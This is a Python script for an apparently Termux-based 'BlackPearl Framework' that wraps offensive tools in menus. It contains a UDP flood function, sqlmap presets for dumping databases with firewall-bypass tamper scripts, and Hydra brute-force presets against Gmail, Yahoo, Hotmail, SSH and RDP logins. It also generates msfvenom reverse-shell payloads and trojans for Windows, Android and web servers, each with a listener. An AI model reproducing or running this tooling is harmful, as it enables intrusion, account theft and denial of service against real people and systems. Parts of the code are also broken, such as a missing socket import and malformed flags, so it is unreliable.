#!/bin/env python
import os,sys
import time
import random
from urllib.request import urlopen
import requests
F = '\033[91m'
G = '\033[92m'

os.system("clear")
def delay_print(s):
    for c in s:
        sys.stdout.write(c)
        sys.stdout.flush()
        time.sleep(1.5 / 10)
def sprint(s):
        for c in s +'\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(0.1  / 100)
ban1 = """\x1b[36m                                                                   
   
                                       
                                                                                                            
 ________ ______                                   
/_  __/ // / __/                                      
 / / / _  / _/                                        
/_/_/_//_/___/__  _______ _____  _______   ___  __    
  / _ )/ /  / _ |/ ___/ //_/ _ \/ __/ _ | / _ \/ /    
 / _  / /__/ __ / /__/ ,< / ___/ _// __ |/ , _/ /__   
/____/____/_/_|_\___/_/|_/_/__/___/_/_|_/_/|_/____/ __
  / __/ _ \/ _ | /  |/  / __/ | /| / / __ \/ _ \/ //_/
 / _// , _/ __ |/ /|_/ / _/ | |/ |/ / /_/ / , _/ ,<   
/_/ /_/|_/_/ |_/_/  /_/___/ |__/|__/\____/_/|_/_/|_|"""

banner = """
  \x1b[36m+~~~~~[\x1b[00m THE BLACKPEARL FRAMEWORK\x1b[36m]~~~~~~\x1b[36m+
  \x1b[36m+~~~~~[\x1b[00m MSF NMAP DDOS XSS HYDRA SQLMAP INFO\x1b[36m]~~~~~~\x1b[36m+
  \x1b[36m+~~~~~[\x1b[00m Use help command for using BP-F\x1b[36m]~~~~~~\x1b[36m+""" 

ban2 = """\x1b[91m
██████╗ ██████╗       ███████╗
██╔══██╗██╔══██╗      ██╔════╝
██████╔╝██████╔╝█████╗█████╗  
██╔══██╗██╔═══╝ ╚════╝██╔══╝  
██████╔╝██║           ██║     
╚═════╝ ╚═╝           ╚═╝"""                             

ban3 = """\x1b[36m
╔╦╗╦ ╦╔═╗
 ║ ╠═╣║╣ 
 ╩ ╩ ╩╚═╝
╔╗ ╦  ╔═╗╔═╗╦╔═╔═╗╔═╗╔═╗╦═╗╦  
╠╩╗║  ╠═╣║  ╠╩╗╠═╝║╣ ╠═╣╠╦╝║  
╚═╝╩═╝╩ ╩╚═╝╩ ╩╩  ╚═╝╩ ╩╩╚═╩═╝
╔═╗╦═╗╔═╗╔╦╗╔═╗╦ ╦╔═╗╦═╗╦╔═
╠╣ ╠╦╝╠═╣║║║║╣ ║║║║ ║╠╦╝╠╩╗
╚  ╩╚═╩ ╩╩ ╩╚═╝╚╩╝╚═╝╩╚═╩ ╩"""

ban4 = """\x1b[32m
╔══╗╔╗──╔═══╦═══╦╗╔═╦═══╦═══╦═══╦═══╦╗
║╔╗║║║──║╔═╗║╔═╗║║║╔╣╔═╗║╔══╣╔═╗║╔═╗║║
║╚╝╚╣║──║║─║║║─╚╣╚╝╝║╚═╝║╚══╣║─║║╚═╝║║
║╔═╗║║─╔╣╚═╝║║─╔╣╔╗║║╔══╣╔══╣╚═╝║╔╗╔╣║─╔╗
║╚═╝║╚═╝║╔═╗║╚═╝║║║╚╣║──║╚══╣╔═╗║║║╚╣╚═╝║
╚═══╩═══╩╝─╚╩═══╩╝╚═╩╝──╚═══╩╝─╚╩╝╚═╩═══╝"""

ban5 = """\x1b[91m
                                 P___----....
                                ! __
                      ' ~~ ---.#..__ `  ~  ~    -  -  .   .:
                       `             ~~--.               .F~~___-__.
                       ;                   ,       .- . _!
                      ,                     '       ;      ~ .
                     ,        ____           ;      ' _ ._    ;
                    ,_ . - '___#,  ~~~ ---. _,   . '  .#'  ~ .;
                  =---==~~~    ~~~==--__     ; '~ -. ,#_     .'
                   '                     `~=.;           `  /
                                             '  '          '.
                    '                         '
            \                                  ' '            '
            `.`\    '                          . ;             ,
              \  `  '                            '             ;
               ;   '                           '               '
             /_ .,                           /   __...---./   '
             ',_,   __.--- ~~;#~ --..__    _'.-~;#     //  `.'
             / / ~~ .' .     #;         ~~  /// #;   //   /
           /    ' . __ .  ' ;#;_ .        ////.;#;./ ;  /
           \ .        /    ,##' /   _   /. '(/    ~||~\'
            \  ` - . /_ . -==-  ~ '   / (/ '     . ;;. ',
           /' .       ' -^^^...--- ``(/'    _  '   '' `,;
##,. .#...(       '   .c  c .c  c  c.    '..      ;; ../
%%#%;,..##.\_                           ,;###;,. ;;.:##;,.    
%%%%########%%%%;,.....,;%%%%%%;,.....,;%%%%%%%%%%%%%%%%%%%%............ 
╔╗ ╦  ╔═╗╔═╗╦╔═
╠╩╗║  ╠═╣║  ╠╩╗
╚═╝╩═╝╩ ╩╚═╝╩ ╩
╔═╗╔═╗╔═╗╦═╗╦  
╠═╝║╣ ╠═╣╠╦╝║  
╩  ╚═╝╩ ╩╩╚═╩═╝
╔═╗╦═╗╔═╗╔╦╗╔═╗╦ ╦╔═╗╦═╗╦╔═
╠╣ ╠╦╝╠═╣║║║║╣ ║║║║ ║╠╦╝╠╩╗
╚  ╩╚═╩ ╩╩ ╩╚═╝╚╩╝╚═╝╩╚═╩ ╩
(*)MSF (*)NMAP (*)HYDRA (*)DDOS (*)XSS (*)SQLMAP (*)INFO"""

ban6 = """\x1b[32m
                     .
'########::'########:::::::::::'########:
 ##.... ##: ##.... ##:::::::::: ##.....::
 ##:::: ##: ##:::: ##:::::::::: ##:::::::
 ########:: ########::'#######: ######:::
 ##.... ##: ##.....:::........: ##...::::
 ##:::: ##: ##::::::::::::::::: ##:::::::
 ########:: ##::::::::::::::::: ##:::::::
........:::..::::::::::::::::::..::::::::"""
                               
                                                                                
ban7 = """\x1b[00m
	      ,----------------,              ,---------,
        ,-----------------------,          ,"        ,"|
      ,"                      ,"|        ,"        ,"  |
     +-----------------------+  |      ,"        ,"    |
     |  .-----------------.  |  |     +---------+      |
     |  |                 |  |  |     | -==----'|      |
     |  |  I LOVE DOS!    |  |  |     |         |      |
     |  |  Bad command or |  |  |/----|`---=    |      |
     |  |  C:\>_          |  |  |   ,/|==== ooo |      ;
     |  |                 |  |  |  // |(((( [33]|    ,"
     |  `-----------------'  |," .;'| |((((     |  ,"
     +-----------------------+  ;;  | |         |,"
        /_)______________(_/  //'   | +---------+
   ___________________________/___  `,
  /  oooooooooooooooo  .o.  oooo /,   \,"-----------
 / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
/_==__==========__==_ooo__ooo=_/'   /___________,"
`-----------------------------'""" 

ban8 = """\x1b[91m
                                               
    _/_/_/    _/_/_/                _/_/_/_/   
   _/    _/  _/    _/              _/          
  _/_/_/    _/_/_/    _/_/_/_/_/  _/_/_/       
 _/    _/  _/                    _/            
_/_/_/    _/                    _/"""           

os.system("pkg install espeak > /dev/null 2>&1")
os.system("espeak checkinginternetconnection")	
print("Checking Internet Connection")
time.sleep(1.5)
os.system("clear")
try:
	r = requests.get('https://google.com')
	os.system("espeak gotconnection")
	print("[✅] Got Connection")
except (requests.ConnectionError, requests.Timeout) as exception:
	print("No internet connection.")
	sys.exit(1)
os.system("espeak checkingdependencies")
print("Checking Dependencies........")
time.sleep(1.5)
print()
os.system("pkg install wget > /dev/null 2>&1")
os.system("pkg install git > /dev/null 2>&1")
print()
if os.path.isdir('sqlmap'):
        print("[✔️]Sqlmap Found ")
        print()
else:
        print("[❌] Sqlmap Not Found ")
        print()
        time.sleep(1)
        print("Installing Sqlmap..")
        os.system("cd /$HOME;git clone https://github.com/sqlmapproject/sqlmap.git")
        print("[✔️] Sqlmap Installed ")
        print()
if os.path.exists('/data/data/com.termux/files/usr/bin/hydra'):
        print("[✔️] Hydra Found")
        print()
else:
        print("[❌] Hydra Not Found ")
        print()
        time.sleep(1)
        print("Installing Hydra..")
        os.system("pkg install hydra > /dev/null 2>&1")
        print("[✔️] Hydra Installed ")
        print()
        time.sleep(1)
if os.path.exists("/data/data/com.termux/files/usr/bin/nmap"):
        print("[✔️] Nmap Found ")
        print()
else:
        print("[❌] Nmap Not Found ")
        print()
        time.sleep(1)
        print("Installing Nmap..")
        os.system("pkg install nmap > /dev/null 2>&1")
        print("[✔️] Nmap Installed ")
        print()
if os.path.exists("/data/data/com.termux/files/usr/bin/msfconsole"):
        print("[✔️] Metasploit Framework Found ")
        print()
else:
        print("[❌] Metasploit Framework Not Found ")
        print()
        time.sleep(1)
        print("Installing Metasploit Framework..")
        os.system("pkg install unstable-repo;pkg install metasploit")
        print("[✔️] Metasploit Framework Installed ")
        print()
        time.sleep(1)
if os.path.isdir('XSStrike'):
        print("[✔️] XSStrike Found ")
        print()
else:
        print("[❌] XSStrike Not Found ")
        print()
        time.sleep(1)
        print("Installing XSStrike...")
        os.system("cd $HOME;git clone https://github.com/s0md3v/XSStrike.git")
        print("[✔️] XSStrike Installed ")
        print()
        time.sleep(1)
print()
print()
print("[Dependencies Checked]")
time.sleep(2)
os.system("clear")
print()
print()
print()
print("Loading: [..............................................]")
time.sleep(1)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [#.............................................]")
time.sleep(0.5)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [##............................................]")
time.sleep(0.5)
os.system("clear")
print()
print()
print()
print("Loading : [###########...................................]")
time.sleep(0.25)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [##############................................]")
time.sleep(0.5)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [#################.............................]")
time.sleep(1)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [####################..........................]")
time.sleep(0.3)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [#########################.....................]")
time.sleep(0.2)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [##############################................]")
time.sleep(1)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [####################################..........]")
time.sleep(0.4)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [##########################################....]")
time.sleep(1.5)
print()
print()
print()
os.system("clear")
print()
print()
print()
print("Loading : [##############################################]")
time.sleep(0.5)
print()
print()
print()
os.system("clear")                                               

def randomlogo():
        listlogo = [ban1,ban2,ban3,ban4,ban5,ban6,ban7,ban8]
        logo=(random.choice(listlogo))
        sprint(logo)

def ddos():
	os.system("clear")
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	bytes = random._urandom(1444)
	ip = input("ENTER IP :  ")
	port = 80
	while True:
		try:
			s.sendto(bytes, (ip,port))
			print("Sending packets..")
		except KeyboardInterrupt:
			break
			
def xss():
	st = input("Enter website : ")
	os.system("cd ~/XSStrike;python3 xsstrike.py -u  " + st)			
			
def sql():
	 os.system("clear")
	 os.system("cd ~/sqlmap")
	 print()
	 print("1. Normal Website Pentration")
	 print("2. Advanced Pentration (WAF Bypassing) ")
	 print()
	 global r
	 global w
	 s = input('pearl(sql) >  ')
	 if s == '1':
	 	web = input("WEBSITE :  ")
	 	os.system("clear")
	 	print("1. Get Database")
	 	print("2. Get Tables")
	 	print("3. Get Columns")
	 	print("4. Dump Data ")
	 	print()
	 	p = input("OPTION > ")
	 	if p == '1':
	 		os.system("cd ~/sqlmap;python sqlmap.py -u  " + web +  '  --dbs')
	 	elif p == '2':
	 		db = input("DATABASE : ")
	 		os.system("cd ~/sqlmap;python sqlmap.py -u  " + web + '-D  ' + db + "  --tables")
	 	elif p == '3':
	 		tab = input("TABLE : ")
	 		os.system("cd sqlmap;python sqlmap.py -u  " + web + '-D  ' + db + '-T  ' + tab + '  --columns')
	 	elif p == '4':
	 		col = input("COLUMN : ")
	 		os.system("cd sqlmap;python sqlmap.py -u  " + web + '-D  ' + db + '-T  ' + tab + '-C  ' + col + '  --dump')
	 	elif p == 'back':
	 		sql()
	 	else:
	 		print("[!] Invalid Input")
	 		print("[!] Try Again")
	 		time.sleep(2)
	 		sql()
	 elif s == '2':
	 		web2 = input("WEBSITE : ")
	 		os.system("clear")
	 		print("1. WAF Bypass Method 1")
	 		print("2. WAF Bypass Method 2")
	 		print("3. WAF Bypass Method 3")
	 		print("4. WAF Bypass Method 4")
	 		print("5. WAF Bypass Method 5")
	 		print("6. WAF Bypass Method 6")
	 		print()
	 		waf = input("OPTION : ")
	 		os.system("clear")
	 		if waf == '1':
	 			print("1. Get Database")
	 			print("2. Get Tables")
	 			print("3. Get Columns")
	 			print("4. Dump Data")
	 			print()
	 			op = input("OPTION : ")
	 			if op == '1':
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '   --identify-waf --random-agent -v 3 --dbs')
	 			elif op == '2':
	 				datb = input("DATABASE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --identify-waf --random-agent -v 3 -D  ' + datb + '  --tables')
	 			elif op == '3':
	 				tabt = input("TABLE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --identify-waf --random-agent -v 3 -D  ' + datb + '  -T ' + tabt + "  --columns")
	 			elif op == '4':
	 				colt = input("COLUMN : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --identify-waf --random-agent -v 3 -D  ' + datb + '  -T ' + tabt + "  -C " + colt + ' --dump')
	 			elif op == 'back':
	 				sql()
	 			else:
	 				print("[!] Invalid Input")
	 				print("[!] Try Again")
	 				time.sleep(1)
	 				sql()
	 		elif waf == '2':
	 			print("1. Get Database")
	 			print("2. Get Tables")
	 			print("3. Get Columns")
	 			print("4. Dump Data")
	 			print()
	 			po = input("OPTION : ")
	 			if po == '1':
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '   --level 2 --risk 3 --batch --dbs')
	 			elif po == '2':
	 				dab = input("DATABASE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --level 2 --risk 3 --batch -D  ' + dab + '  --tables')
	 			elif po == '3':
	 				tat = input("TABLE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --level 2 --risk 3 --batch -D  ' + dab + '  -T ' + tat + "  --columns")
	 			elif po == '4':
	 				cot = input("COLUMN : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --level 2 --risk 3 --batch -D  ' + dab + '  -T ' + tat + "  -C " + cot + ' --dump')
	 			elif po == 'back':
	 				sql()
	 			else:
	 				print("[!] Invalid Input")
	 				print("[!] Try Again")
	 				time.sleep(1)
	 				sql()
	 		elif waf == '3':
	 			print("1. Get Database")
	 			print("2. Get Tables")
	 			print("3. Get Columns")
	 			print("4. Dump Data")
	 			print()
	 			jo = input("OPTION : ")
	 			if jo == '1':
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '   --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs')
	 			elif jo == '2':
	 				datab = input("DATABASE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D  ' + datab + '  --tables')
	 			elif jo == '3':
	 				tbat = input("TABLE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment"  -D  ' + datab + '  -T ' + tbat + "  --columns")
	 			elif jo == '4':
	 				cobt = input("COLUMN : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment"  -D  ' + datab + '  -T ' + tbat + "  -C " + cobt + ' --dump')
	 			elif jo == 'back':
	 				sql()
	 			else:
	 				print("[!] Invalid Input")
	 				print("[!] Try Again")
	 				time.sleep(1)
	 				sql()
	 		elif waf == '4':
	 			print("1. Get Database")
	 			print("2. Get Tables")
	 			print("3. Get Columns")
	 			print("4. Dump Data")
	 			print()
	 			pao = input("OPTION : ")
	 			if pao == '1':
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '   --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs')
	 			elif pao == '2':
	 				dtbs = input("DATABASE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --risk=3 --random-agent --user-agent -v3 --batch --threads=10 -D  ' + dtbs + '  --tables')
	 			elif pao == '3':
	 				tble = input("TABLE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --risk=3 --random-agent --user-agent -v3 --batch --threads=10 -D  ' + dtbs + '  -T ' + tble + "  --columns")
	 			elif pao == '4':
	 				colm = input("COLUMN : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --risk=3 --random-agent --user-agent -v3 --batch --threads=10 -D  ' + dtbs + '  -T ' + tble + "  -C " + colm + ' --dump')
	 			elif pao == 'back':
	 				sql()
	 			else:
	 				print("[!] Invalid Input")
	 				print("[!] Try Again")
	 				time.sleep(1)
	 				sql()
	 		elif waf == '5':
	 			print("1. Get Database")
	 			print("2. Get Tables")
	 			print("3. Get Columns")
	 			print("4. Dump Data")
	 			print()
	 			pdo = input("OPTION : ")
	 			if pdo == '1':
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '   --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs')
	 			elif pdo == '2':
	 				databa = input("DATABASE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D  ' + databa + '  --tables')
	 			elif pdo == '3':
	 				talt = input("TABLE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D  ' + databa + '  -T ' + talt + "  --columns")
	 			elif pdo == '4':
	 				column = input("COLUMN : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D  ' + databa + '  -T ' + talt + "  -C " + column + ' --dump')
	 			elif pdo == 'back':
	 				sql()
	 			else:
	 				print("[!] Invalid Input")
	 				print("[!] Try Again")
	 				time.sleep(1)
	 				sql()
	 		elif waf == '6':
	 			print("1. Get Database")
	 			print("2. Get Tables")
	 			print("3. Get Columns")
	 			print("4. Dump Data")
	 			print()
	 			jlo = input("OPTION : ")
	 			if jlo == '1':
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '   --dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs')
	 			elif jlo == '2':
	 				ba = input("DATABASE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --dbms="MySQL" -v3 --technique U --tamper="space2comment" -D  ' + ba + '  --tables')
	 			elif jlo == '3':
	 				at = input("TABLE : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --dbms="MySQL" -v3 --technique U --tamper="space2comment" -D  ' + ba + '  -T ' + at + "  --columns")
	 			elif jlo == '4':
	 				cl = input("COLUMN : ")
	 				os.system("cd ~/sqlmap;python sqlmap.py -u  " + web2 + '  --dbms="MySQL" -v3 --technique U --tamper="space2comment" -D  ' + ba + '  -T ' + at + "  -C " + cl + ' --dump')
	 			elif jlo == 'back':
	 				os.system("clear")
	 				sql()
	 			else:
	 				time.sleep(1)
	 				print("[!] Invalid Input")
	 				print("[!] Try Again")
	 				time.sleep(1)
	 				os.system("clear")
	 				sql()
	 elif s == 'back':
	 	os.system("clear")
	 	main()
	 else:
	 	print("[!] Invalid Input")
	 	time.sleep(1)
	 	sql()
	 	
def info():
	print()
	print("1.Geo Ip lookup")
	print("2.Host finder")
	print("3.HTTP finder")
	print("4.Host DNS finder")
	print("5.Reverse IP looker")
	print("6.Traceroute")
	global r
	global w
	i = input('pearl(info) > ')
	if i == '1':
		d = input('Enter IP Address : ')
		g = "http://api.hackertarget.com/geoip/?q=" + d
		ip = urlopen(g).read()
		print(ip)
		info()
	elif i == '2':
		d = input('Enter Domain : ')
		h = "http://api.hackertarget.com/hostsearch/?q=" + d
		f = urlopen(h).read()
		print(f)
		info()
	elif i == '3':
		d = input("Enter Domain : ")
		h = "http://api.hackertarget.com/httpheaders/?q=" + d
		der =  urlopen(h).read()
		print(der)
		info()
	elif i == '4':
		d = input("Enter Domain : ")
		get = "https://api.hackertarget.com/mtr/?q=" + d
		page = urlopen(get).read()
		print(page)
		info()
	elif i == '5':
	     d = input("Enter IP : ")
	     reverse = "http://api.hackertarget.com/reverseiplookup/?q=" + d
	     lookup = urlopen(reverse).read()
	     print(lookup)
	     info()
	elif i == '6':
	     d = input("Enter Domain : ")
	     host = "http://api.hackertarget.com/findshareddns/?q=" + d
	     dns = urlopen(host).read()
	     print(dns)
	     info()
	elif i == 'back':
	    main()
	elif i == 'exit':
	    main()
	elif i == 'help':
	    print("\n Select corresponding number to given option here. use command back to go back to pearl console. \n This is for information gathering. \n exit - To exit from console \n")
	else:
		print('[!] Invalid Input')
		print('[!] Try Again')
		time.sleep(1)
		os.system("clear")
		info()
	

def msf():
	print()
	print("1. Install Metasploit Framework")
	print("2. Metasploit Framework version")
	print("3. Windows > payload.exe (payload and listener) ")
	print("4. Android > payload.apk(Payload and listener)") 
	print("5. Linux >  payload.py(payload and listener)")
	print("6. MacOS > payload.jar(payload and listener)")
	print("7. Simple TCP shell for PHP")
	print("8. Simple TCP shell for WAR")
	print("9. Simple TCP shell for ASP")
	print("10. Simple TCP shell for javascript")
	print("11. Trojan or backdoor for windows xp/7")
	print()
	global r
	global w
	j = input('[pearl(msf) > ')
	if j == '1':
		os.system("pkg install unstable-repo")
		os.system("pkg install metasploit")
		print()
		print("Metasploit Framework Installed Successfully")
		msf()
	elif j == '2':
		print()
		print("Current MSF Version : 5.0.0 / Jan 10, 2019")
		msf()
	elif j == '3':
		os.system("clear")
		i = input("LHOST : ")
		print()
		print("Making Windows Payload....")
		os.system("msfvenom - p windows/meterpreter/reverse_tcp lhost=" + i +  '  lport=4444 - f exe > /sdcard/payload.exe')
		print()
		print("Payload Is Saved In Storage")
		print()
		print("Opening Metasploit Meterpreter")
		print()
		print("\n Use this after opening listener \n Steps  : \n 1.set payload windows/meterpreter/reverse_tcp \n 2.set lhost (your ip) \n 3.set lport 4444 \n 4.exploit")
		print()
		os.system("msfconsole -q -x 'use exploit/multi/handler ;'")
	elif j == '4':
		os.system("clear")
		i = input("LHOST : ")
		print()
		print("Making APK")
		os.system("msfvenom -p android/meterpreter/reverse_tcp lhost=" + i + '  lport=4444 R > /sdcard/payload.apk')
		print()
		print("Payload Is Saved In Storage")
		print()
		print("Opening Metasploit Meterpreter")
		print()
		print("\n Use this after opening listener \n Steps  : \n 1.set payload android/meterpreter/reverse_tcp \n 2.set lhost (your ip) \n 3.set lport 4444 \n 4.exploit")
		print()
		os.system("msfconsole -q -x 'use exploit/multi/handler;'")
	elif j == '5':
		os.system("clear")
		i = input("LHOST : ")
		print()
		print("Making Python Payload")
		os.system("msfvenom - p python/meterpreter/reverse_tcp lhost=" + i +  '  lport=4444 > /sdcard/payload.py')
		print()
		print("Payload Is Saved In Storage")
		print()
		print("Opening Metasploit Meterpreter")
		print()
		print("\n Use this after opening listener \n Steps  : \n 1.set payload python/meterpreter/reverse_tcp \n 2.set lhost (your ip) \n 3.set lport 4444 \n 4.exploit")
		os.system("msfconsole -q -x 'use exploit/multi/handler ;'")
	elif j == '6':
		os.system("clear")
		i = input("LHOST : ")
		print()
		print("Making Java Payload")
		os.system("msfvenom - p windows/meterpreter/reverse_tcp lhost=" + i +  '  lport=4444 - f jar > /sdcard/file.jar')
		print()
		print("Payload Is Saved In Storage")
		print()
		print("Opening Metasploit Meterpreter")
		print()
		print("\n Use this after opening listener \n Steps  : \n 1.set payload java/meterpreter/reverse_tcp \n 2.set lhost (your ip) \n 3.set lport 4444 \n 4.exploit")
		os.system("msfconsole -q -x 'use exploit/multi/handler ;'")
	elif j == '7':
		os.system("clear")
		i = input("LHOST : ")
		print()
		print("Making Payload....")
		print()
		os.system("msfvenom -p php/meterpreter_reverse_tcp LHOST=" + i + '  LPORT=4444 -f raw > file.php')
		print()
		print("Payload Is Saved In Storage")
		msf()
	elif j == '8':
		i = input("LHOST : ")
		print()
		print("Making Payload..")
		print()
		os.system("msfvenom -p java/jsp_shell_reverse_tcp LHOST=" + i + '  LPORT=4444 -f war > file.war')
		print()
		print("Payload Is Saved In Storage")
		msf()
	elif j == '9':
		i = input("LHOST : ")
		print()
		print("Making Payload...")
		print()
		os.system("msfvenom -p windows/meterpreter/reverse_tcp LHOST=" + i + '  LPORT=4444 -f asp > file.asp')
		print()
		print("Payload Is Saved In Storage")
		msf()
	elif j == '10':
		i = input("LHOST : ")
		print()
		print("Making Payload...")
		print()
		os.system("msfvenom -p java/jsp_shell_reverse_tcp LHOST=" + i + '  LPORT=4444 -f raw > file.jsp')
		print()
		print("Payload Saved In Storage")
		msf()
	elif j == '11':
		i = input("LHOST : ")
		print()
		print("Making Payload....")
		print()
		os.system("msfvenom windows/meterpreter/reverse_tcp LHOST=" + i + '  LPORT=6666 x > /sdcard/trojan.exe')
		print()
		print("Payload Is Saved In Storage")
		print()
		print("Opening Metasploit Meterpreter")
		print()
		print("\n Use this after opening listener \n Steps  : \n 1.set payload windows/meterpreter/reverse_tcp \n 2.set lhost (your ip) \n 3.set lport 6666 \n 4.exploit")
		os.system("msfconsole -q -x 'use exploit/multi/handler ;'")
	elif j == 'help':
		print("\n This is an automater for making different malicious payloads for exploiting different system using metasploit framework project. \n Use different numbers corresponding to different options for using them. \n back - To go back to pearl console \n")
	elif j == 'back':
		os.system("clear")
		main()
	else:
		print('[!] Invalid Input')
		print('[!] Try Again')
		time.sleep(1)
		os.system("clear")
		msf()

def hydra():
     print("1.Dowload Hydra")
     print("2.Cisco bruteforce")
     print("3.FTP bruteforce")
     print("4.Gmail bruteforce")
     print("5.SSH bruteforce")
     print("6.Telnet bruteforce")
     print("7.Yahoo mail bruteforce")
     print("8.Hotmail bruteforce")
     print("9.Router speedy bruteforce")
     print("10.RDP bruteforce")
     print("11.MySql bruteforce")
     print("12.Teamspeak bruteforce")
     print("13.VNC bruteforce")
     print()
     global r
     global w
     hd = input('[pearl(hydra) > ')
     if hd == '1':
     	os.system("clear")
     	print("Installing Hydra")
     	os.system("pkg install hydra")
     elif hd == '2':
     	wip = input("Enter IP : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -P %s %s cisco" % (jw, wip))
     	hydra()
     elif hd == '3':
     	os.system("clear")
     	usr = input("User : ")
     	wip = input("Enter IP : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -l %s -P %s %s ftp" % (usr, jw, wip))
     	hydra()
     elif hd == '13':
     	os.system("clear")
     	wip = input("Enter IP : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -P %s -e n -t 1 %s vnc -V" % (jw, wip))
     	hydra()
     elif hd == '4':
     	os.system("clear")
     	em = input("Email : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -l %s -P %s -s 465 smtp.gmail.com smtp" % (em, jw))
     	hydra()
     elif hd == '5':
     	os.system("clear")
     	usr = input("User : ")
     	wip = input("Enter IP : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -l %s -P %s %s ssh" % (usr,jw, wip))
     	hydra()
     elif hd == '6':
     	os.system("clear")
     	usr = input("User : ")
     	wip = input("Enter IP : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -l %s -P %s %s telnet" % (usr, jw, wip))
     	hydra()
     elif hd == '7':
     	os.system("clear")
     	em = input("Email : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -l %s -P %s -s 587 smtp.mail.yahoo.com smtp" % (em, jw))
     	hydra()
     elif hd == '8':
     	os.system("clear")
     	em = input("Email : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -l %s -P %s -s 587 smtp.live.com smtp" % (em, jw))
     	hydra()
     elif hd == '9':
     	os.system("clear")
     	usr = input("User : ")
     	em = input("Email : ")
     	jw = input("Wordlist : ")
     	os.system("hydra -m / -l %s -P %s %s http-get" % (usr, jw, em))
     	hydra()
     elif hd == '10':
     	os.system("clear")
     	usr = input("User :")
     	em = input("Email :")
     	jw = input("Wordlist :")
     	os.system("hydra -t 1 -V -f -l %s -P %s %s rdp" % (usr, jw, em))
     	hydra()
     elif hd == '11':
     	os.system("clear")
     	usr = input("User :")
     	wip = input("Enter IP : ")
     	jw = input("'Wordlist :")
     	os.system("hydra -t 1 -V -f -l %s -P %s %s rdp" % (usr, jw, wip))
     	hydra()
     elif hd == '12':
        usr = input("User :")
        wip = input("IP :")
        jw = input("Wordlist :")
        os.system("hydra -l %s -P %s -s 8676 %s teamspeak" % (usr, jw, wip))
        hydra()
     elif hd == 'help':
        os.system("clear")
        print("\n Use numbers corresponding to options to use them. \n back - To go back to pearl console")
        hydra()
     elif hd == 'clear':
     	os.system("clear")
     	hydra()
     elif hd == 'back':
     	os.system("clear")
     	main()
     else:
     	print('[!] Invalid Input')
     	print('[!] Try Again')
     	time.sleep(1)
     	os.system("clear")
     	print()
     	hydra()
     	
def nmap():
	print()
	print("1.Scan a website to find open ports")
	print("2.Scan for open port only")
	print("3.Scan a subnet")
	print("4.Scan a range of ports")
	print("5.Scan 100 most common ports")
	print("6.Scan all 65535 ports")
	print("7.Scan using TCP connect")
	print("8.Scan using TCP SYN")
	print("9.Scan UFO ports")
	print("10.Detect OS & Service")
	print("11.Standard service detecting")
	print("12.Detect more aggressive services")
	print("13.Light Banner Grabbing Detection")
	print("14.Scan using default safe scripts")
	print("15.Scan using a specific NSE script")
	print("16.Scan with a set of scripts")
	print("17.Scan for DDOS reflectors")
	print("18.Gather page titles from HTTP services")
	print("19.HEARTBLEED testing")
	print("20.Perform a RPC scan")
	print("21.Scan IP with a given range")
	print("22.Check firewall")
	print("23.Scan a specified port")
	print("24.Scan specified ports")
	print("25.Check vulnerabiliity")
	print()
	global r
	nm = input("[pearl(nmap) > ")
	if nm == '1':
		ips = input("Enter Site/IP : ")
